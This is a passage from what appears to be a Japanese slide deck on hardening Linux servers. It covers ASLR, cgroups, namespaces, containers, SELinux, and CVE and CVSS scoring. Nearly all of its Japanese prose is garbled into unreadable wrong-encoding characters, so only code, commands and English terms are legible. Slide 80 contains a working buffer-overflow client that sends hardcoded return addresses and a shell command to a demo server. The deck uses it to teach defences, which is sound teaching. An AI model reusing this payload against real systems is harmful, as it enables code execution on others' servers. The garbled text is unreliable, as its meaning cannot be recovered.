    $1 = ( *) 0x7f51c76cd350
    (gdb) disas 0x7ffff7931f54
    No function contains specified address.
    ઌఔγΣϧͷ࣮ߦʹ੒ޭͨ͠ྫΛASLR༗ΓͰߦͳͬͨ৔߹
    ͦͷ݁Ռ
    Կ΋ׂΓ౰ͯΒΕ͍ͯͳ͍ϝϞϦʹretqͰඈ΅͏ͱͯ͠
    ൣғ֎ࢀরͰϓϩηε͕ఀࢭͨ͠
    ߈ܸऀ͕೚ҙͷίʔυΛ࣮ߦͰ͖Δ੬ऑੑΛ
    ߈ܸऀ͕DoS߈ܸΛͰ͖Δ੬ऑੑʹऑΊΔࣄ͕Ͱ͖ͨ

    View full-size slide

  72. LinuxͷίϯςφΛ׆༻ͤΑ

    View full-size slide

  73. ਌ϓϩηεͱࢠϓϩηε
    ϓϩηεத͔ΒผͷϓϩηεΛ্ཱͪ͛Δͱ
    ͦͷϓϩηε͸ݩͷϓϩηεͷࢠʹͳΔ
    ϓϩηε
    /bin/ls
    execl("/bin/ls","/bin/ls",nullptr );
    ىಈ
    ਌ϓϩηε
    ࢠϓϩηε

    View full-size slide

  74. init!"!5*[agetty]
    #!busybox
    #!login!!!bash!!!top
    #!sshd!"!sshd!!!sshd!!!bash!!!pstree
    $ %!sshd!!!sshd!!!bash!!!vim
    %!udevd
    γεςϜىಈ࣌ʹ࣮ߦ͞ΕΔ
    initҎ֎ͷશͯͷϓϩηε͸
    init͔ΒḷΕΔ਌ࢠؔ܎ͷͲ͔͜ʹͿΒԼ͕͍ͬͯΔ
    initͷࢠͷ
    sshd͔Βىಈ͞Εͨ
    bash͔Βىಈ͞Εͨ
    vim
    ਌ϓϩηεͱࢠϓϩηε

    View full-size slide

  75. init!"!5*[agetty]
    #!busybox
    #!login!!!bash!!!top
    #!sshd!"!sshd!!!sshd!!!bash!!!pstree
    $ %!sshd!!!sshd!!!bash!!!vim
    %!udevd
    ࢦఆͨ͠ϓϩηεͱ͔ͦ͜Βੜ·Εͨࢠϓϩηεʹ
    γεςϜͷϦιʔεͷ࢖༻ʹؔ͢Δ੍ݶΛઃఆ͢Δ
    cgroups
    ྫ:
    ͜ͷൣғͷϓϩηε͸
    1൪໨ͷCPU͔͠
    ࢖ͬͯ͸͍͚ͳ͍
    (cpuset cgroup)

    View full-size slide

  76. ϒϩοΫI/O cgroup
    ࢦఆͨ͠ϓϩηεάϧʔϓ͔Βͷ
    ϒϩοΫσόΠε΁ͷI/OΛ੍ݶ͢Δ
    ͜ͷάϧʔϓ಺ͷϓϩηε͸
    ͲΜͳʹετϨʔδʹ༨ྗ͕͋ͬͯ΋
    ࢦఆ͞ΕͨҎ্ͷI/OଳҬΛ࢖͑ͳ͍
    ߹ܭ.CQT੍ݶ

    View full-size slide

  77. ະ࢖༻
    CPU cgroup
    ࢦఆͨ͠ϓϩηεάϧʔϓ͔Βͷ
    CPUͷ࢖༻཰Λ੍ݶ͢Δ
    ͜ͷάϧʔϓ಺ͷϓϩηε͸
    ͲΜͳʹCPUʹ༨ྗ͕͋ͬͯ΋
    ࢦఆ͞ΕͨҎ্ʹ
    CPUΛ࢖͏ࣄ͸Ͱ͖ͳ͍
    ߹ܭ੍ݶ

    View full-size slide

  78. cgroups
    ଞʹ΋ϝϞϦͷ࢖༻཰΍HugeTLBͷׂΓ౰ͯͷ੍ݶͳͲ͕
    උΘ͍ͬͯΔ͕
    ੬ऑੑ߈ܸʹର͢Δඋ͑ͱͯ͠஫໨͢΂͖ͳͷ͸
    pids devices
    ͱ

    View full-size slide

  79. PIDs cgroups
    ࢦఆͨ͠ϓϩηεάϧʔϓ಺Ͱ
    ࡞੒Ͱ͖Δϓϩηεͷ࠷େ਺Λ੍ݶ͢Δ
    ϓϩηε
    /bin/ls
    execl("/bin/ls","/bin/ls",nullptr );
    ىಈ
    άϧʔϓ಺ͷϓϩηε਺͕࠷େʹୡ͍ͯ͠Δҝ
    ࢠϓϩηεͷੜ੒Λڋ൱

    View full-size slide

  80. tcp::socket socket(io_service);
    socket.connect(
    tcp::endpoint( asio::ip::address::from_string("127.0.0.1"), 20000 )
    );
    const std::vector< uint8_t > command{
    't', 'o', 'u', 'c', 'h', ' ', 'a', 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    };
    std::vector< uint8_t > data {
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xb0, 0x31, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xf2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x54, 0x1f, 0x93, 0xf7, 0xff, 0x7f, 0x00, 0x00,
    0xa0, 0xd3, 0xff, 0xff, 0xff, 0x7f, 0x00, 0x00,
    0x50, 0xd3, 0xf6, 0xf6, 0xff, 0x7f, 0x00, 0x00,
    0xc0, 0xe5, 0x00, 0xf7, 0xff, 0x7f, 0x00, 0x00,
    0x90, 0x3b, 0xf6, 0xf6, 0xff, 0x7f, 0x00, 0x00
    };
    for( size_t i = 0u; i != 10u; ++i )
    std::copy( command.begin(), command.end(), std::back_inserter( data ) );
    data.push_back( 0x0d );
    ࡉ޻ͨ͠σʔλΛૹΔΫϥΠΞϯτ
    system()
    γΣϧεΫϦϓτ
    ߈ܸऀ͕όοϑΝΦʔόʔϥϯ͔Β
    ೚ҙͷॲཧͷ࣮ߦʹܨ͛Δ࠷΋खܰͳํ๏system()͸
    தͰࢠϓϩηεΛੜ੒͍ͯ͠Δҝ
    ࢠϓϩηε͕ੜ੒ग़དྷͳ͍ͱ߈ܸ͕େม໘౗ʹͳΔ

    View full-size slide

  81. $ g++ sample.c -o sample
    $ ./sample
    bin dev home lib32 lost+found mnt proc run sys usr
    boot etc lib lib64 media opt root sbin tmp var
    ੒ޭ
    $ cgcreate -g pids:test
    $ cgset -r pids.max=1 test
    $ cgexec -g pids:test ./sample
    ࣦഊ
    $
    #include
    #include
    int main() {
    if( system( "ls /" ) == 0 ) std::cout << "੒ޭ" << std::endl;
    else std::cout << "ࣦഊ" << std::endl;
    }
    system()͕ػೳ͢ΔͱϧʔτσΟϨΫτϦͷ಺༰Λදࣔ͢ΔϓϩάϥϜ
    ͬ͢ͽΜͰಈ͔͢ͱදࣔ͞ΕΔ
    testͱ͍͏໊લͷpidsʹؔ͢Δ৽͍͠cgroupΛ࡞Δ
    test಺ͷ࠷େϓϩηε਺Λ1ʹ͢Δ
    cgroupΛtestʹͯ͠ಈ͔͢ͱ
    system()ʹࣦഊ͢Δ

    View full-size slide

  82. ͨͩ͜͠ͷ੍ݶΛ͔͚Δͱ
    αʔόͷຊདྷͷ༻్Ͱ΋ࢠϓϩηε͕࡞Εͳ͘ͳΔ
    ͜ͷख͕࢖͑Δͷ͸
    ໌Β͔ʹࢠϓϩηεΛඞཁͱ͠ͳ͍αʔϏεʹݶΒΕΔ

    View full-size slide

  83. devices cgroups
    ࢦఆͨ͠ϓϩηεάϧʔϓ಺͔Β
    ৮ͬͯྑ͍σόΠεΛ੍ݶ͢Δ
    αʔό
    γΣϧ
    ىಈ
    ࠓ߈ܸऀ͸ҰൠϢʔβͰͷγΣϧͷىಈʹ੒ޭ͠
    α΢ϯυσόΠεͷ੬ऑੑΛಥ͍ͯ
    rootΛऔΖ͏ͱ͍ͯ͠Δ
    CVE-2017-15265
    ߈ܸऀ
    ੬ऑͳ
    Linux

    View full-size slide

  84. devices cgroups
    ࢦఆͨ͠ϓϩηεάϧʔϓ಺͔Β
    ৮ͬͯྑ͍σόΠεΛ੍ݶ͢Δ
    αʔό
    γΣϧ
    ىಈ CVE-2017-15265
    ߈ܸऀ
    ͜ͷάϧʔϓʹ͸α΢ϯυσόΠε͸͍Βͳ͍ഺͳͷͰ
    α΢ϯυσόΠεΛ৮ͬͯ͸͍͚ͳ͍ ੬ऑͳ
    Linux
    ͜͏͍͏੍ݶΛ͋Β͔͡Ί͔͚Δࣄ͕Ͱ͖Δ

    View full-size slide

  85. ໊લۭؒ
    ࢦఆͨ͠ϓϩηεͱ͔ͦ͜Βੜ·Εͨࢠϓϩηε͔Β
    Կ͕ݟ͑Δ͔Λ੍ݶ͢Δ
    init!"!5*[agetty]
    #!busybox
    #!login!!!bash!!!top
    #!sshd!"!sshd!!!sshd!!!bash!!!pstree
    $ %!sshd!!!sshd!!!bash!!!vim
    %!udevd
    ྫ:
    ͜ͷൣғͷϓϩηεʹ͸
    ֎ͷϓϩηε͕ݟ͑ͳ͍
    (PID໊લۭؒ)
    bash!!!vim
    ͜ͷ໊લۭؒʹͱͬͯͷPID1
    ຊ౰ͷPID1

    View full-size slide

  86. Ϛ΢ϯτ໊લۭؒ
    Ͳ͜ʹԿ͕Ϛ΢ϯτ͞Ε͍ͯΔ͔ͷ৘ใΛ
    ਌ϓϩηε͔Β෼཭͢Δ
    ਌ϓϩηε
    ࢠϓϩηε
    IPHF
    GVHB
    IPHF
    GVHB
    ਌ϓϩηε͔Βݟ͑Δ/hoge/fuga
    ࢠϓϩηε͔Βݟ͑Δ/hoge/fuga
    chroot΍umountͱ૊Έ߹ΘͤΔࣄͰ
    ࢠϓϩηε͔Β਌ϓϩηεͷσΟϨΫτϦπϦʔͷଘࡏΛ
    ݟ͑ͳ͘͢Δࣄ͕Ͱ͖Δ

    View full-size slide

  87. Ϛ΢ϯτ໊લۭؒ
    IPHF
    GVHB
    ߈ܸʹ࢖͑ͦ͏ͳ΋Μ͕
    ͳΜ΋ͳ͍…
    αʔόΛಈ͔͢ͷʹඞཁͳ࠷খݶͷϑΝΠϧ͚͕ͩݟ͑Δ
    σΟϨΫτϦπϦʔΛ/ͱͯ͠αʔόΛಈ͔͢ࣄͰ
    ߈ܸऀͷબ୒ࢶΛڱΊΔࣄ͕Ͱ͖Δ
    ߈ܸऀ

    View full-size slide

  88. UID໊લۭؒ
    ಛఆͷ໊લۭؒʹଐ͢ϓϩηεͷΈʹ
    ௨༻͢ΔrootΛ࡞Γग़͢
    ߈ܸऀ
    Զ͸ࠓ͔Β
    rootͩ!

    View full-size slide

  89. UID໊લۭؒ
    ಛఆͷ໊લۭؒʹଐ͢ϓϩηεʹͷΈ
    ௨༻͢ΔrootΛ࡞Γग़͢
    ߈ܸऀ
    rootͷ໋ྩͩͧ! ͋ͳͨ͸ͦͷ○ͷதͰͷΈ
    rootͳͷͰμϝͰ͢

    View full-size slide

  90. ໊લۭؒ
    ͜ͷଞʹ΋
    ωοτϫʔΫͷઃఆ
    cgroupͷઃఆ
    ઀ଓͰ͖Δϓϩηεؒ௨৴
    ։͍͍ͯΔϑΝΠϧσΟεΫϦϓλ
    ͳͲ৭Μͳ΋ͷΛ
    ਌ϓϩηεͱࢠϓϩηεͰผʹ͢Δࣄ͕Ͱ͖Δ

    View full-size slide

  91. طʹ
    ؾ͍͍ͮͯΔ͔΋͠Εͳ͍͕

    View full-size slide

  92. cgroupͱ໊લۭؒΛ׆༻ͯ͠
    ਌ϓϩηεͱࢠϓϩηεʹݟ͑Δ෺
    Ͱ͖ΔࣄΛ׬શʹ෼཭ͨ͠ͷ͕
    LinuxͷίϯςφͰ͋Δ

    View full-size slide

  93. ਌ϓϩηεͱࢠϓϩηεͷ׬શͳ෼཭ͷઃఆΛ
    ؆୯ʹͰ͖ΔΑ͏ʹ͍ͯ͠Δͷ͕
    ྲྀߦΓͷDockerͰ͋Δ
    https://www.docker.com/

    View full-size slide

  94. ίϯςφͱϚΠΫϩαʔϏε
    cgroupͱ໊લۭؒ͸ϓϩηε୯ҐͰઃఆ͞ΕΔ
    1ͭͷڊେͳϓϩηεͰ
    αʔϏεΛఏڙ͢ΔΑΓ
    ୯७ͳػೳΛఏڙ͢ΔαʔόΛ
    ωοτϫʔΫͰܨ͍Ͱ
    େ͖ͳαʔϏεΛ࡞Δํ͕
    ݸʑͷϓϩηεʹ༩͑Δ
    ݖݶΛΑΓখ͘͢͞Δࣄ͕Ͱ͖Δ

    View full-size slide

  95. ίϯςφͱϚΠΫϩαʔϏε
    ͜ͷΑ͏ͳߏ੒ʹͯ͋͠Δͱ
    ϓϩηεͷ͏ͪͷ1͕ͭ
    Ծʹ߈ܸऀͷखʹམͪͨͱͯ͠΋
    ͦͷ࣌఺ͰͷӨڹΛ
    αʔϏε಺ͷݶΒΕͨྖҬʹ
    ͱͲΊΒΕΔ

    View full-size slide

  96. ͨͩ͠
    ͨ·ʹcgroupͱ໊લۭؒࣗମͷෆ۩߹Ͱ
    ߈ܸऀ͕ίϯςφͷ֎ʹ୤ग़Ͱ͖ͯ͠·͏
    ੬ऑੑ͕ݟ͔ͭΔࣄ͕͋ΔͷͰ஫ҙ
    ྫ$7&

    View full-size slide

  97. SELinuxΛ׆༻ͤΑ

    View full-size slide

  98. ॴ༗ऀ: Bob
    άϧʔϓ: ΧϨʔಉ޷ձ
    ύʔϛογϣϯ: ॴ༗ऀͱ
    άϧʔϓϝϯόʔ͸
    ಡΈॻ͖OK
    ݹయతͳ*NIXͷύʔϛογϣϯ
    ΧϨʔ԰৘ใ
    Alice
    (ΧϨʔಉ޷ձձһ)
    "MJDF͞Μ͸άϧʔϓϝϯόʔ
    άϧʔϓϝϯόʔͷॻ͖ࠐΈ͸0,
    Linux
    OK
    ͋ͷϑΝΠϧʹ
    ॻ͖͍ͨ

    View full-size slide

  99. ͜ͷΑ͏ʹϢʔβ͕ࣗ෼Ͱ
    ৘ใΛʹΞΫηε͢ΔͨΊʹඞཁͳݖݶΛઃఆ͢Δ
    ΞΫηε੍ޚΛ
    ೚ҙΞΫηε੍ޚ
    ͱݺͿ

    View full-size slide

  100. ॴ༗ऀ: Bob
    άϧʔϓ: ΧϨʔಉ޷ձ
    ύʔϛογϣϯ: ॴ༗ऀͱ
    άϧʔϓϝϯόʔ͸
    ಡΈॻ͖OK
    ΧϨʔ԰৘ใ
    BobΛࣗশ͢Δ
    ߈ܸऀ #PC͞Μ͸
    ϑΝΠϧͷॴ༗ऀ͔ͩΒ
    #PC͞ΜͷཁٻͳΒؒҧ͍ͳ͍
    Linux
    ͋ͷϑΝΠϧΛ
    ࣺͯͨ͘ͳͬͨ
    OK
    ݹయతͳ*NIXͷύʔϛογϣϯͷݶք

    View full-size slide

  101. ॴ༗ऀ: Charlie
    άϧʔϓ: ΧϨʔಉ޷ձ
    ύʔϛογϣϯ: ୭Ͱ΋ಡΈॻ͖ࣗ༝
    ۃൿ৘ใ
    Charlie
    $IBSMJF͞Μ͸
    ϑΝΠϧͷॴ༗ऀ͔ͩΒ
    $IBSMJF͞ΜͷཁٻͳΒؒҧ͍ͳ͍
    Linux
    OK
    *NIXΑʔΘ͔ΒΜ
    777ʹ͠ͱ͍ͯ
    ݹయతͳ*NIXͷύʔϛογϣϯͷݶք

    View full-size slide

  102. γεςϜ؅ཧऀ͕γεςϜશମʹ
    ηΩϡϦςΟཁ݅Λڧ੍͢Δ
    ڧ੍ΞΫηε੍ޚ
    ͕ཁΔ
    ݹయతͳ*NIXͷύʔϛογϣϯΛิ͏
    Charlie͕ͲΜͳʹζϘϥͰ΋
    γεςϜશମͷηΩϡϦςΟ͸อͨΕΔඞཁ͕͋Δ

    View full-size slide

  103. ୭͔ͩΒʙ͕Ͱ͖Δ
    ͱ͍͏ܗҎ֎ͷํ๏ʹΑΔΞΫηε੍ޚ͕ཁΔ
    ݹయతͳ*NIXͷύʔϛογϣϯΛิ͏
    BobຊਓͱBobʹͳΓ͢·͢߈ܸऀΛ۠ผ͢Δʹ͸
    ୭͔͸࢖͍෺ʹͳΒͳ͍

    View full-size slide

  104. શͯͷϓϩηεʹ͸਌ࢠؔ܎͕͋Δ
    ͋Δ೔ͷBob͞Μͷϓϩηε
    Bob
    ݹయతͳ*NIXͷύʔϛογϣϯΛิ͏
    ΰϛା͕੾Ε͍͔ͯͨΒίϯϏχʹങ͍ʹߦ͘
    Ոͷ૟আΛ͢Δ

    View full-size slide

  105. ίϯϏχʹߦ్͘தͰѱ͍ਓʹั·ΓೖΕସΘΔ
    ΧϨʔಉ޷ձͷϊʔτʹམॻ͖Λ͢Δ
    ΰϛା͕੾Ε͍͔ͯͨΒίϯϏχʹങ͍ʹߦ͘
    Ոͷ૟আΛ͢Δ
    Bob
    BobʹͳΓ͢·ͨ͠
    ߈ܸऀ
    ϓϩηε͕߈ܸऀͷखʹམͪΔͱ
    ͜͏͍͏ঢ়ଶʹͳΔ
    ݹయతͳ*NIXͷύʔϛογϣϯΛิ͏

    View full-size slide

  106. ΰϛା͕੾Ε͍͔ͯͨΒίϯϏχʹങ͍ʹߦ͘
    Ոͷ૟আΛ͢Δ
    ϓϩηεʹυϝΠϯΛ͚ͭΑ͏
    υϝΠϯ͸͋Β͔͡Ί༻ҙ͞Εͨϧʔϧʹैͬͯ෇༩͞Ε
    ࢠϓϩηεʹҾ͖ܧ͕Ε
    SELinuxࣗମͷઃఆݖݶΛ࣋ͨͳ͍Ϣʔβ͸มߋ͸Ͱ͖ͳ͍
    Bob ૟আத
    ૟আத ͜Ε
    ݹయతͳ*NIXͷύʔϛογϣϯΛิ͏

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  107. ૟আத ʹΞΫηεͯ͠ྑ͍΋ͷ
    Ϧιʔεʹ΋υϝΠϯ(λΠϓ)Λ͚ͭΑ͏
    SELinuxࣗମͷઃఆݖݶΛ࣋ͨͳ͍Ϣʔβ͸มߋ͸Ͱ͖ͳ͍
    ݹయతͳ*NIXͷύʔϛογϣϯΛิ͏

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  108. ίϯϏχʹߦ్͘தͰѱ͍ਓʹั·ΓೖΕସΘΔ
    ΧϨʔಉ޷ձͷϊʔτʹམॻ͖Λ͢Δ
    Ոͷ૟আΛ͢Δ
    Bob
    ΰϛା͕੾Ε͍͔ͯͨΒίϯϏχʹങ͍ʹߦ͘
    BobʹͳΓ͢·ͨ͠
    ߈ܸऀ
    ͢Δͱ߈ܸऀͷϓϩηε͸͜͏ͳΔ
    ૟আத
    ૟আத
    ૟আத
    ݹయతͳ*NIXͷύʔϛογϣϯΛิ͏

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  109. Linux
    ͳΜ͚ͩͲ
    ΧϨʔಉ޷ձͷϊʔτʹॻ͖ࠐΈͤͯ͞
    ૟আ͍ͤ
    υϝΠϯͷෆҰகΛཧ༝ʹ
    ৘ใ΁ͷΞΫηεΛڋ൱Ͱ͖Δ
    BobʹͳΓ͢·ͨ͠
    ߈ܸऀ
    ૟আத
    ݹయతͳ*NIXͷύʔϛογϣϯΛิ͏

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  110. ॏཁͳϙΠϯτ
    ୭͔ͩΒڐՄ͢Δ
    Ͱ͸ͳ͘
    ԿΛ͍ͯ͠Δ࠷த͔ͩΒڐՄ͢Δ
    ʹͳ͍ͬͯΔ

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  111. Æ
    SELinux
    ύʔϛογϣϯ
    system_u:object_r:
    passwd_exec_t
    Bob
    ॴ༗ऀ: Bob
    ॴ༗ऀͷಡΈॻ͖OK
    ಡΜͰOK

    SELinux
    passwd_exec_t
    ͸ಡΜͰྑ͍
    ಡΜͰOK
    ૯ධ
    ಡΜͰOK
    ͋ͷϑΝΠϧ
    ݟͤͯ
    #PC͞Μ͕ࣗ෼Ͱ
    ઃఆͰ͖Δൣғ
    SELinux
    passwd_exec_t
    ͸࢖ͬͯ͸͍͚ͳ͍
    ࢖༻ېࢭ
    ૯ධ
    ࢖༻ېࢭ
    8080
    8080൪ϙʔτΛ
    ࢖͍͍ͨͳ

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  112. $ sesearch --allow

    allow passwd_t crack_db_t:dir { getattr ioctl lock open read search };
    allow passwd_t crack_db_t:file { getattr ioctl lock open read };
    allow passwd_t default_context_t:dir { getattr open search };
    allow passwd_t device_t:dir { getattr ioctl lock open read search };

    allow passwd_t shadow_t:file { append create getattr ioctl link lock open read relabelfrom relabelto rename
    setattr unlink write };

    allow passwd_t passwd_exec_t:file { entrypoint execute getattr ioctl lock map open read };

    allow user_t passwd_exec_t:file { execute getattr open read };
    allow user_t passwd_t:process transition;

    ҰൠϢʔβ͕ී௨ʹϩάΠϯ͖ͯͨ͠ঢ়گ͔Β
    passwd_exec_tʹଐ͢ίϚϯυΛ࣮ߦ͢Δࣄ͕Ͱ͖Δ
    passwd_tυϝΠϯ΁ͷભҠ͕ೝΊΒΕΔ
    passwd_exec_tʹ
    ଐ͢ίϚϯυͷ࣮ߦ࣌ʹ
    passwd_tʹભҠ͢Δ
    passwd_tυϝΠϯͰ͸passwdΛ࣮ߦ͢Δͷʹඞཁͳ΋ͷ͔͠৮Εͳ͍
    passwd_tͷϓϩηε͸
    shadow_tλΠϓͷ
    ύεϫʔυϑΝΠϧΛ৮ΕΔ

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  113. passwd
    ύεϫʔυϑΝΠϧ
    ਖ਼نͷϩάΠϯखॱͰ
    ೖ͖ͬͯͨϢʔβ
    ύεϫʔυͱ
    ؔ܎ͳ͍
    ϑΝΠϧ
    shadow_t΁ͷΞΫηεݖ͕ͳ͍
    ແؔ܎ͳϑΝΠϧ΁ͷ
    ΞΫηεݖ͕ͳ͍
    passwd_tʹભҠ
    Bob
    ਖ਼نͷϩάΠϯखॱͰ
    ೖͬͯ͜ͳ͔ͬͨϢʔβ
    passwd_tʹ
    ભҠ͢Δݖݶ͕ͳ͍
    shadow_t΁ͷ
    ΞΫηεݖ͕ͳ͍
    BobʹͳΓ͢·͢߈ܸऀ
    passwd_t͸shadow_tΛ৮ΕΔ

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  114. SELinuxͷઃఆΛద੾ʹߦ͏ࣄͰ
    ߈ܸऀ͕ϓϩηεΛ৐ͬऔͬͨͱͯ͠΋
    ͦͷӨڹΛ
    ͔ͦ͜ΒભҠͰ͖ΔυϝΠϯ͚ͩʹ
    ݶఆͰ͖Δ

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  115. SELinux͕ΞΫηεΛڋ൱͢Δͱ
    ҎԼͷΑ͏ͳΧʔωϧϩά͕ग़Δ
    audit: type=1400 audit(1521959710.081:83): avc: denied
    { setattr } for pid=2168 comm="chmod" name="shadow" dev="vda"
    ino=524679 scontext=staff_u:staff_r:staff_t
    tcontext=system_u:object_r:shadow_t tclass=file
    passwd_tҎ֎ͷυϝΠϯͰ࣮ߦ͞Εͨ
    ίϚϯυchmod͕
    shadow_tλΠϓ͕͍ͭͨϑΝΠϧshadowͷ
    ύʔϛογϣϯΛॻ͖׵͑Α͏ͱͨ͠ҝ
    ڋ൱ͨ͠

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  116. audit: type=1400 audit(1521959710.081:83): avc: denied
    { setattr } for pid=2168 comm="chmod" name="shadow" dev="vda"
    ino=524679 scontext=staff_u:staff_r:staff_t
    tcontext=system_u:object_r:shadow_t tclass=file
    ιϑτ΢ΣΞʹ͜ͷૢ࡞Λ͢΂͖ਖ਼౰ͳཧ༝͕͋Δ৔߹
    ͦͷιϑτ΢ΣΞͷҝͷ৽͍͠υϝΠϯΛ࡞Ζ͏
    ͦͷιϑτ΢ΣΞ͕ਖ਼ৗʹ࢖ΘΕΔͱ͖ʹ
    ͦͷυϝΠϯʹભҠͰ͖ΔݖݶΛ༩͑Α͏
    ͦͷυϝΠϯʹඞཁͳૢ࡞Λߦ͏ݖݶΛ༩͑Α͏

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  117. ࣮ࡍͷSELinuxͷઃఆखॱ͸௕͘ͳΔͷͰׂѪ
    ίϚϯυ΍ઃఆϑΝΠϧͷ࢖͍ํ͸
    RedHatͷυΩϡϝϯτʹΑ͘·ͱ·͍ͬͯΔ
    https://access.redhat.com/documentation/ja-jp/red_hat_enterprise_linux/7/html/
    selinux_users_and_administrators_guide/
    ͜͜ʹ
    3FE)BUͷ4&-JOVYϢʔβʔͱ؅ཧऀͷΨΠυΛషΔ

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  118. RedHatҎ֎ͷσΟετϦϏϡʔγϣϯΛ࢖͏৔߹
    γεςϜͷϢʔβ΍λΠϓ໊ɺͦͷݖݶͷൣғ͕
    ҟͳ͍ͬͯΔՄೳੑ͕͋Δ
    ࢖༻͢ΔσΟετϦϏϡʔγϣϯʹ
    SELinuxʹؔ͢Δઆ໌͕͋Δ৔߹͸
    ͦͪΒ΋ࢀর͢΂͠

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  119. ੬ऑੑ৘ใͷ௥͍ํ

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  120. αʔό্Ͱಈ͍͍ͯΔͷ͕
    ࣗ෼Ͱ࡞ͬͨιϑτ΢ΣΞ͚ͩ
    ͱ͍͏έʔε͸كͰ͋Δ
    ࣗ෼Ͱ࡞ͬͨιϑτ΢ΣΞ
    ศརͳ
    ϥΠϒϥϦ
    ศརͳ
    ϥΠϒϥϦ
    ศརͳ
    ϥΠϒϥϦ
    ศརͳ
    ϥΠϒϥϦ
    Χʔωϧ(OS)
    υϥΠό υϥΠό
    ϋʔυ΢ΣΞ ϋʔυ΢ΣΞ
    ศརͳϥΠϒϥϦ

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  121. ࣗ෼Ͱ࡞͍ͬͯͳ͍෦෼Ͱ੬ऑੑ͕ݟ͔ͭͬͯ
    ࣗ෼ͷιϑτ΢ΣΞ͕҆શͰͳ͘ͳΔ͜ͱ͸Α͋͘Δ
    ࣗ෼Ͱ࡞ͬͨιϑτ΢ΣΞ
    ศརͳ
    ϥΠϒϥϦ
    ศརͳ
    ϥΠϒϥϦ
    ศརͳ
    ϥΠϒϥϦ
    ศརͳ
    ϥΠϒϥϦ
    Χʔωϧ
    υϥΠό υϥΠό
    ϋʔυ΢ΣΞ ϋʔυ΢ΣΞ
    ศརͳϥΠϒϥϦ

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  122. ར༻͍ͯ͠Δ
    Αͦͷιϑτ΢ΣΞͷ
    ੬ऑੑ৘ใΛؾʹ͔͚Α͏

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  123. Common Vulnerabilities and Exposures
    ڞ௨੬ऑੑࣝผࢠ ུͯ͠$7&

    ੈքதͰݟ͔ͭͬͨ੬ऑੑʹ
    Ұҙͳ*%ΛׂΓ౰ͯͯσʔλϕʔεԽ͍ͯ͠Δ
    http://www.cve.mitre.org/
    ͜͜ʹ
    $7&ͷ8FCαΠτͷτοϓϖʔδΛషΔ

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  124. Common Vulnerabilities and Exposures
    BQBDIFͰݕࡧΛ͔͚ͯΈͨͱ͜Ζ
    http://www.cve.mitre.org/cve/search_cve_list.html
    ͜͜ʹ
    $7&ͷ8FCαΠτͰBQBDIFͰݕࡧΛ͔͚ͨͱ͜ΖΛషΔ

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  125. ͜͜ʹ
    $7&ͷ/*45ʹΑΔղઆΛషΔ
    Common Vulnerabilities and Exposures
    "QBDIFIUUQEͷIUBDDFTTʹ-JNJUΛઃఆ͍ͯ͠Δ৔߹ʹ
    ϦϞʔτ͔Βݟ͑ͯ͸͍͚ͳ͍৘ใ͕ݟ͑ͯ͠·͏Մೳੑ͕͋Δ੬ऑੑ
    6TFBGUFSGSFF੬ऑੑͰ͋Γ
    ඞͣ͠΋ݟ͑ͯ͸͍͚ͳ͍৘ใ͕ૹΒΕΔ༁Ͱ͸ͳ͍
    https://nvd.nist.gov/vuln/detail/CVE-2017-9798

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  126. Common Vulnerability Scoring System
    https://nvd.nist.gov/vuln/detail/CVE-2017-9798
    ڞ௨੬ऑੑධՁγεςϜ(ུͯ͠CVSS)
    ੬ऑੑͷϠό͞Λ਺஋ʹͨ͠΋ͷ
    ͜ΕΛݟΕ͹੬ऑੑͷ࢓૊Έ͕Θ͔Βͳͯ͘΋
    Ͳͷ͘Β͍·͍ͣࣄʹͳ͍ͬͯΔ͔͕Θ͔Δ
    ͜͜ʹ
    $7&ͷ$744ΛషΔ

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  127. Common Vulnerability Scoring System
    جຊධՁج४(Base Metrics)
    ੬ऑੑͦͷ΋ͷͷಛ௃ʹجͮ͘είΞ
    ͜͜ͷ஋͕ߴ͍ఔର৅ʹେ͕݀։͍͍ͯΔ
    ݱঢ়ධՁج४ (Temporal Metrics)
    ੬ऑੑʹର͢ΔରԠঢ়گʹجͮ͘είΞ
    ͜ͷ஋͸ঢ়گͷมԽʹԠͯ͡มΘΔ
    ؀ڥධՁج४(Environmental Metrics)
    ੬ऑੑ͕ར༻͞Εͨ৔߹ͷӨڹͷେ͖͞ʹجͮ͘είΞ
    ͜ͷ஋͸ର৅͕ར༻͞Ε͍ͯΔ؀ڥʹΑͬͯมΘΔ

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  128. Common Vulnerability Scoring System
    جຊධՁج४(Base Metrics)
    ੬ऑੑͦͷ΋ͷͷಛ௃ʹجͮ͘είΞ
    ͜͜ͷ஋͕ߴ͍ఔର৅ʹେ͕݀։͍͍ͯΔ
    ݱঢ়ධՁج४ (Temporal Metrics)
    ੬ऑੑʹର͢ΔରԠঢ়گʹجͮ͘είΞ
    ͜ͷ஋͸ঢ়گͷมԽʹԠͯ͡มΘΔ
    ؀ڥධՁج४(Environmental Metrics)
    ੬ऑੑ͕ར༻͞Εͨ৔߹ͷӨڹͷେ͖͞ʹجͮ͘είΞ
    ͜ͷ஋͸ର৅͕ར༻͞Ε͍ͯΔ؀ڥʹΑͬͯมΘΔ
    ͜͜ʹ
    $7&ͷ$744ΛషΔ
    ࣌ͱ৔ॴʹґΒͳ͍جຊධՁج४ͷείΞ͕
    ੬ऑੑ৘ใͱͯ͠ެ։͞Ε͍ͯΔ

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  129. جຊධՁج४ (Base Metrics)
    ߈ܸݩ۠෼(Access Vector)
    ߈ܸऀ͸Ͳ͔͜Β߈ܸΛߦ͏ඞཁ͕͋Δ͔
    ϩʔΧϧ ಉҰηάϝϯτ ωοτϫʔΫͷͲ͔͜ΒͰ΋

    ߈ܸ৚݅ͷෳࡶ͞(Access Complexity)
    ߈ܸͰ͖Δঢ়ଶʹ͢Δͷ͸೉͍͔͠
    ಛผͳઃఆ͕࢖ΘΕͯΔ͚࣌ͩ ࣄલʹԿ͔Λ஌͍ͬͯΔඞཁ͕͋Δ

    ඞཁͳಛݖϨϕϧ(Privileges Required)
    ߈ܸΛߦ͏ʹ͸Ͳͷఔ౓ͷݖݶ͕ඞཁ͔
